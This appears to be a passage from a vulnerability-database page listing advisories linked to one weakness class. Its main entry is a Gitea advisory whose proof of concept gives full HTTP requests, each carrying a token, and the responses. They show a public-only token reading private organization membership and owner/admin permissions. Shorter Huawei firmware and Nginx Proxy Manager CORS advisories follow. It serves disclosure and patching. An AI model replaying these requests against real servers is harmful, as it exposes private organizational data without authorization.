  "details": "### Summary\nA personal access token restricted with the public-only scope can still retrieve private organization membership and organization permission details for its own account through organization-listing endpoints. This bypass breaks the intended guarantee that such tokens are limited to public resources only.\n\n### Details\nThe issue affects the following endpoints:\nGET /api/v1/user/orgs\nGET /api/v1/users/{username}/orgs/{org}/permissions\n\nThe application correctly prevents a public-only token from directly accessing a private organization through:\nGET /api/v1/orgs/{org}\n\nHowever, that same token can still obtain private organization data through alternate code paths.\n\nThe root cause is inconsistent enforcement of the public-only restriction. The middleware responsible for blocking non-public organization access depends on route context being populated with the target organization. That assumption does not hold for all affected routes.\n\nFor GET /api/v1/user/orgs, the route does not apply checkTokenPublicOnly() at all.\n\nFor GET /api/v1/users/{username}/orgs, the middleware is present, but it evaluates ctx.ContextUser, which represents the user named in the path, not the organization objects returned by the handler. Since ctx.Org.Organization is not populated for these responses, private organization results are not filtered.\n\nThe organization listing logic then uses the effective relationship between the authenticated user and the target user to determine visibility. When the token belongs to the same user, the handler allows private organization visibility and returns private memberships.\n\nThe permissions endpoint is similarly affected. It relies on general visibility logic relative to the real user account rather than explicitly enforcing the public-only token restriction before returning organization authorization details. As a result, a restricted token can still obtain organization role information such as ownership, admin status, and repository creation capability for a private organization.\n\nThis is therefore a route-specific authorization failure: direct organization access is blocked, but indirect endpoints still disclose private organization-derived data.\n\n### PoC\n**Step 1:** Create or use a user account that belongs to at least one private organization.\n\u003cimg width=\"1858\" height=\"891\" alt=\"Screenshot 2026-04-16 001614\" src=\"https://github.com/user-attachments/assets/9c1bdbc4-234f-4f65-9b91-00c7ca9a51f7\" /\u003e\n\n**Step 2:** Generate a personal access token for that same user with the scopes: public-only, read:user, and read:organization\n\nhttps://github.com/user-attachments/assets/c89c9004-5e6d-4ff9-b130-5cd9fedc38f6\n\n**Step 3:** Confirm the token is correctly restricted by requesting the private organization directly\n\u003cimg width=\"1918\" height=\"867\" alt=\"Screenshot 2026-04-16 002345\" src=\"https://github.com/user-attachments/assets/4c489174-b4ef-400b-9eea-5484520f51e2\" /\u003e\n\n[REQUEST]\nGET /api/v1/orgs/private_1?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2\nHost: gitea.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nReferer: https://gitea.com/api/swagger\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n[RESPONSE]\nHTTP/2 403 Forbidden\nAlt-Svc: h3=\":443\"; ma=2592000\nCache-Control: max-age=0, private, must-revalidate, no-transform\nContent-Type: application/json;charset=utf-8\nDate: Wed, 15 Apr 2026 17:23:19 GMT\nServer: Caddy\nVary: Origin\nX-Content-Type-Options: nosniff\nX-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization.\nContent-Length: 89\n{\"message\":\"token scope is limited to public orgs\",\"url\":\"https://gitea.com/api/swagger\"}\n\n**Step 4:** Use the same token to request the authenticated user\u2019s organizations. Observe that request send successful and receive data about private org.\n\u003cimg width=\"1545\" height=\"791\" alt=\"Screenshot 2026-04-16 002751\" src=\"https://github.com/user-attachments/assets/761d2684-0882-4e61-9462-21514738e681\" /\u003e\n[REQUEST]\nGET /api/v1/user/orgs?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2\nHost: gitea.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nReferer: https://gitea.com/api/swagger\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n[RESPONSE]\nHTTP/2 200 OK\nAccess-Control-Expose-Headers: X-Total-Count\nAlt-Svc: h3=\":443\"; ma=2592000\nCache-Control: max-age=0, private, must-revalidate, no-transform\nContent-Type: application/json;charset=utf-8\nDate: Wed, 15 Apr 2026 17:26:35 GMT\nServer: Caddy\nVary: Origin\nX-Content-Type-Options: nosniff\nX-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization.\nX-Total-Count: 1\nContent-Length: 261\n[{\"id\":192111,\"name\":\"private_1\",\"full_name\":\"\",\"email\":\"\",\"avatar_url\":\"https://gitea.com/avatars/cc05fbb4da63b760bf83cdc054c3be63\",\"description\":\"\",\"website\":\"\",\"location\":\"\",\"visibility\":\"private\",\"repo_admin_change_team_access\":true,\"username\":\"private_1\"}]\n\n**Step 5:** Use the same token to request organization permissions for that private organization.\n\u003cimg width=\"1917\" height=\"865\" alt=\"Screenshot 2026-04-16 003100\" src=\"https://github.com/user-attachments/assets/65578c48-3307-4e0d-ae08-991f64158706\" /\u003e\n[REQUEST]\nGET /api/v1/users/pcatso172124/orgs/private_1/permissions?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2\nHost: gitea.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nReferer: https://gitea.com/api/swagger\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n[RESPONSE]\nHTTP/2 200 OK\nAlt-Svc: h3=\":443\"; ma=2592000\nCache-Control: max-age=0, private, must-revalidate, no-transform\nContent-Type: application/json;charset=utf-8\nDate: Wed, 15 Apr 2026 17:30:32 GMT\nServer: Caddy\nVary: Origin\nX-Content-Type-Options: nosniff\nX-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization.\nContent-Length: 95\n\n{\"is_owner\":true,\"is_admin\":true,\"can_write\":true,\"can_read\":true,\"can_create_repository\":true}\n### Impact\nAny public-only token for a user who belongs to private organizations can enumerate those private organization names and retrieve detailed authorization information such as ownership, administrative status, write access, read access, and repository-creation capability. This weakens least-privilege token delegation and can expose sensitive internal organizational structure and privilege relationships to third-party integrations, CI jobs, or compromised automation that were only meant to access public data.",
  "id": "GHSA-fq2p-5p22-8g6j",
  "modified": "2026-07-21T21:56:04Z",
  "published": "2026-07-21T21:56:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fq2p-5p22-8g6j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/37118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/37773"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/a34eac5ef42ada433a7c7dafb98f15c13d7ad74e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f2a1271f164569264c378fad720b0c000fff3336"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints"
}

GHSA-FV25-93G9-XJJV

Vulnerability from github – Published: 2024-09-04 03:30 – Updated: 2024-11-05 12:31
VLAI
Details

Page table protection configuration vulnerability in the trusted firmware module Impact: Successful exploitation of this vulnerability may affect service confidentiality.

Severity
4.1 (Medium)
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-45448"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1259"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-04T03:15:04Z",
    "severity": "MODERATE"
  },
  "details": "Page table protection configuration vulnerability in the trusted firmware module\nImpact: Successful exploitation of this vulnerability may affect service confidentiality.",
  "id": "GHSA-fv25-93g9-xjjv",
  "modified": "2024-11-05T12:31:03Z",
  "published": "2024-09-04T03:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45448"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2024/11"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2024/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H493-5CP7-M669

Vulnerability from github – Published: 2025-08-19 15:31 – Updated: 2025-08-19 21:30
VLAI
Details

A CORS misconfiguration in Nginx Proxy Manager v2.12.3 allows unauthorized domains to access sensitive data, particularly JWT tokens, due to improper validation of the Origin header. This misconfiguration enables attackers to intercept tokens using a simple browser script and exfiltrate them to a remote attacker-controlled server, potentially leading to unauthorized actions within the application.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-50579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1259"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-19T15:15:28Z",
    "severity": "MODERATE"
  },
  "details": "A CORS misconfiguration in Nginx Proxy Manager v2.12.3 allows unauthorized domains to access sensitive data, particularly JWT tokens, due to improper validation of the Origin header. This misconfiguration enables attackers to intercept tokens using a simple browser script and exfiltrate them to a remote attacker-controlled server, potentially leading to unauthorized actions within the application.",
  "id": "GHSA-h493-5cp7-m669",
  "modified": "2025-08-19T21:30:36Z",
  "published": "2025-08-19T15:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50579"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NginxProxyManager/nginx-proxy-manager/issues/4509"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NginxProxyManager/nginx-proxy-manager"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design Implementation
  • Security Token assignment review checks for design inconsistency and common weaknesses.
  • Security-Token definition and programming flow is tested in both pre-silicon and post-silicon testing.
CAPEC-121: Exploit Non-Production Interfaces

An adversary exploits a sample, demonstration, test, or debug interface that is unintentionally enabled on a production system, with the goal of gleaning information or leveraging functionality that would otherwise be unavailable.

CAPEC-681: Exploitation of Improperly Controlled Hardware Security Identifiers

An adversary takes advantage of missing or incorrectly configured security identifiers (e.g., tokens), which are used for access control within a System-on-Chip (SoC), to read/write data or execute a given action.

← Back to the CWE list